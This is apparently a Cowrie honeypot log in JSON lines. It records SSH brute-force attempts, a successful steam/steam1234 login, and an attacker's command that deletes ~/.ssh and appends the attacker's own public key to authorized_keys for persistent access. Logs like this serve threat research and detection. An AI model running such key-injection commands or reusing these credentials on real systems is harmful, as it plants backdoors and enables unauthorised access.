{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:52.014282Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:a3:8a:5b:cf:61:7b:f0:f1:1a:ad:6e:33:90:6c:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuoBj+BxB6q6yqG1xF5BVVPd1n7hIxAEHqlBIZlAeLzvUhv350AlIn/PNmMmvrx5m6mrIHT+UEJI8QEqioBe4x6xoBQAXOJNXvQVQwc/7YIsZ5okCpOUS50otyiYCD0hmk5qROP65Q12+6b6srrJsturq6+hyZsHcXqrer0hLQW1LxFrjbc5QLFD3KVicvNgxiyzHV6650hYlxIn8HGeOk3VD6UFkdqkpi0MEsieQJc6tKUix5dTJa0ClxibEMKbPT8QHZMtDv77IYeDp+jey3CHB88mLUo2YUWHiR/qEozipGfiZxFGw1P9ptkC7LeLUyLZua/JwDmUbfVHNz4MroQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:a3:8a:5b:cf:61:7b:f0:f1:1a:ad:6e:33:90:6c:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:52.088474Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:a3:8a:5b:cf:61:7b:f0:f1:1a:ad:6e:33:90:6c:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuoBj+BxB6q6yqG1xF5BVVPd1n7hIxAEHqlBIZlAeLzvUhv350AlIn/PNmMmvrx5m6mrIHT+UEJI8QEqioBe4x6xoBQAXOJNXvQVQwc/7YIsZ5okCpOUS50otyiYCD0hmk5qROP65Q12+6b6srrJsturq6+hyZsHcXqrer0hLQW1LxFrjbc5QLFD3KVicvNgxiyzHV6650hYlxIn8HGeOk3VD6UFkdqkpi0MEsieQJc6tKUix5dTJa0ClxibEMKbPT8QHZMtDv77IYeDp+jey3CHB88mLUo2YUWHiR/qEozipGfiZxFGw1P9ptkC7LeLUyLZua/JwDmUbfVHNz4MroQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:52.090987Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:f2:5d:db:9b:60:02:73:ed:d7:4c:16:8f:78:dc:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdhh2YbiHSGpA6usWbCcd05Cgc6S6faVYuuLSgn3bYno8H4CxgewEMGsHgn+FpmBsBW0SBwZvFeTqNm2D7YsmDNI5Jd4tD0v140dqnuQFZ+kv6QBFi84HoMq4ZWoW2HtYZaqThpb0WljfEdwqa0TQudzn7tkgaNwDXHgYEqvvZMl+sQfQQB1mXcdJ4cUk+yjPFbvAwA1+k6NIQWbnb8RAfw9XQYkfsFEIZ3MXKEofXPUMTnX4d+UkCIUUpYKfB9glJ0pTd2TWFJDv959oM6Y/rOm7EuEcR4i4yyVuzYTXVU2M1AXY8KKVzzTjhUd3p0XW5FBn87E3e7FhuTjMExg3x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:f2:5d:db:9b:60:02:73:ed:d7:4c:16:8f:78:dc:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:52.109427Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:f2:5d:db:9b:60:02:73:ed:d7:4c:16:8f:78:dc:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdhh2YbiHSGpA6usWbCcd05Cgc6S6faVYuuLSgn3bYno8H4CxgewEMGsHgn+FpmBsBW0SBwZvFeTqNm2D7YsmDNI5Jd4tD0v140dqnuQFZ+kv6QBFi84HoMq4ZWoW2HtYZaqThpb0WljfEdwqa0TQudzn7tkgaNwDXHgYEqvvZMl+sQfQQB1mXcdJ4cUk+yjPFbvAwA1+k6NIQWbnb8RAfw9XQYkfsFEIZ3MXKEofXPUMTnX4d+UkCIUUpYKfB9glJ0pTd2TWFJDv959oM6Y/rOm7EuEcR4i4yyVuzYTXVU2M1AXY8KKVzzTjhUd3p0XW5FBn87E3e7FhuTjMExg3x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:52.111826Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:f6:dd:fa:e6:8d:9b:bf:88:2b:73:4f:24:46:b0:36","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID5fEQkncYN6ptxjxIJ/h75B3sTqPb5IR2lg7iNIVfcT","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a3:f6:dd:fa:e6:8d:9b:bf:88:2b:73:4f:24:46:b0:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:52.129301Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:f6:dd:fa:e6:8d:9b:bf:88:2b:73:4f:24:46:b0:36","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID5fEQkncYN6ptxjxIJ/h75B3sTqPb5IR2lg7iNIVfcT","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:52.131928Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:c7:12:7e:cd:08:8b:f7:55:e1:71:64:d8:82:03:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq/8kFEGojjyLqf4+qlcAk/txiurn4VuznUag5ciSq2xHK3ODIB2Tg4qxjE4iXpScZSmGSkIxz7sP+Dsl8+ntTjrfIl17PIZup5FzpEDguC7SPRjgqYEkWWiLxoQ28kyAmbbUwSbfRSYI13yTDP2y6onbd1RQH7G8cpLsz0hsRmt0Twt/lnwDLMeKzIkgIqJ4AakWfyEbAR6wHBwYbqE3+3xymNLOdoYTGhQV0tGbTEJjpY4PtV+nFB6mbUHpL1CJsH38ZuW1htbIOG9FQDARLHJUKch5RTDKaFT1BCO7+DjL5uujyXKROH09pt2ChrSJgOaSUHxXRVPS41DSwAill","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:c7:12:7e:cd:08:8b:f7:55:e1:71:64:d8:82:03:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:52.150807Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:c7:12:7e:cd:08:8b:f7:55:e1:71:64:d8:82:03:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq/8kFEGojjyLqf4+qlcAk/txiurn4VuznUag5ciSq2xHK3ODIB2Tg4qxjE4iXpScZSmGSkIxz7sP+Dsl8+ntTjrfIl17PIZup5FzpEDguC7SPRjgqYEkWWiLxoQ28kyAmbbUwSbfRSYI13yTDP2y6onbd1RQH7G8cpLsz0hsRmt0Twt/lnwDLMeKzIkgIqJ4AakWfyEbAR6wHBwYbqE3+3xymNLOdoYTGhQV0tGbTEJjpY4PtV+nFB6mbUHpL1CJsH38ZuW1htbIOG9FQDARLHJUKch5RTDKaFT1BCO7+DjL5uujyXKROH09pt2ChrSJgOaSUHxXRVPS41DSwAill","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:52.153516Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:2a:00:54:13:ed:2a:9d:e8:92:98:71:4f:e9:3c:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC67ylodpV6PUfWSOwl0tgG/xelbGZej27FCs/Mm8/7IjU7JPB5hy7CYf3AJxBrvSxsj2q5PsvJckWmjzbJCvgsDtsYwXSWmjC8UWkkcypaZOmK7Pfhs4iYx8rXDMhCLFuxa/mCUXTz6Fo90DBEtizUqfxs9vSw+OfnR2gMEf58Pvcd3regEK3MKzXZIKnadopxr2TDNigZliPMVoK9H/UDauGtL/ykHLk72sRQ8oY7dMsa6gL/L6c07rj+WpE8/nQvcffNa/TK7FJEBdBTsg3sKIbXQMLPxFUZGH4wikXOvByaDI1VgTxxqaysXKmuF/wyhTFJK8e7ab9ZjnAM5uygrfO93cK1XVfGm7eGwI64cUeTIiH7s4Z9dvd/CF/myVBXbH/1j9mtn2u8qRYsafj+5zHa/DlCV+9V437GRSEq0k6QvHyHU8ibGKOFJiufOG6emoDUFp2/iZv2rv5qkK//17b33h+mJw/5alMH5KorYwboxOB68U0XuvqF0sqXmuc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:2a:00:54:13:ed:2a:9d:e8:92:98:71:4f:e9:3c:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:52.172288Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:2a:00:54:13:ed:2a:9d:e8:92:98:71:4f:e9:3c:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC67ylodpV6PUfWSOwl0tgG/xelbGZej27FCs/Mm8/7IjU7JPB5hy7CYf3AJxBrvSxsj2q5PsvJckWmjzbJCvgsDtsYwXSWmjC8UWkkcypaZOmK7Pfhs4iYx8rXDMhCLFuxa/mCUXTz6Fo90DBEtizUqfxs9vSw+OfnR2gMEf58Pvcd3regEK3MKzXZIKnadopxr2TDNigZliPMVoK9H/UDauGtL/ykHLk72sRQ8oY7dMsa6gL/L6c07rj+WpE8/nQvcffNa/TK7FJEBdBTsg3sKIbXQMLPxFUZGH4wikXOvByaDI1VgTxxqaysXKmuF/wyhTFJK8e7ab9ZjnAM5uygrfO93cK1XVfGm7eGwI64cUeTIiH7s4Z9dvd/CF/myVBXbH/1j9mtn2u8qRYsafj+5zHa/DlCV+9V437GRSEq0k6QvHyHU8ibGKOFJiufOG6emoDUFp2/iZv2rv5qkK//17b33h+mJw/5alMH5KorYwboxOB68U0XuvqF0sqXmuc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:52.174908Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:52.193390Z","src_ip":"142.44.247.134","session":"a27b06d1f8f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60879,"dst_ip":"10.17.0.5","dst_port":22,"session":"44a26516d7e7","protocol":"ssh","message":"New connection: 109.91.4.177:60879 (10.17.0.5:22) [session: 44a26516d7e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:58.536985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:58.541157Z","src_ip":"109.91.4.177","session":"44a26516d7e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:58.648624Z","src_ip":"109.91.4.177","session":"44a26516d7e7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam1234","message":"login attempt [steam/steam1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:59.420456Z","src_ip":"109.91.4.177","session":"44a26516d7e7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:59.661109Z","src_ip":"109.91.4.177","session":"44a26516d7e7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:59.663532Z","src_ip":"109.91.4.177","session":"44a26516d7e7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:59.666716Z","src_ip":"109.91.4.177","session":"44a26516d7e7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:29:59.866838Z","src_ip":"109.91.4.177","session":"44a26516d7e7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:00.020284Z","src_ip":"109.91.4.177","session":"44a26516d7e7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:00.023099Z","src_ip":"109.91.4.177","session":"44a26516d7e7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:00.130014Z","src_ip":"109.91.4.177","session":"44a26516d7e7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:00.133423Z","src_ip":"109.91.4.177","session":"44a26516d7e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":61460,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e6f53903a35","protocol":"ssh","message":"New connection: 109.91.4.177:61460 (10.17.0.5:22) [session: 2e6f53903a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:00.236793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:00.241288Z","src_ip":"109.91.4.177","session":"2e6f53903a35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:00.349623Z","src_ip":"109.91.4.177","session":"2e6f53903a35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:00.824132Z","src_ip":"109.91.4.177","session":"2e6f53903a35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:01.929342Z","src_ip":"109.91.4.177","session":"2e6f53903a35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.097180366516113,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:02.013429Z","src_ip":"170.64.224.25","session":"80d25a3f3f87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64799,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba5cea7f3436","protocol":"ssh","message":"New connection: 109.91.4.177:64799 (10.17.0.5:22) [session: ba5cea7f3436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:02.040558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:02.050001Z","src_ip":"109.91.4.177","session":"ba5cea7f3436","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:30:02.172647Z","src_ip":"109.91.4.177","session":"ba5cea7f3436","protocol":"ssh"}
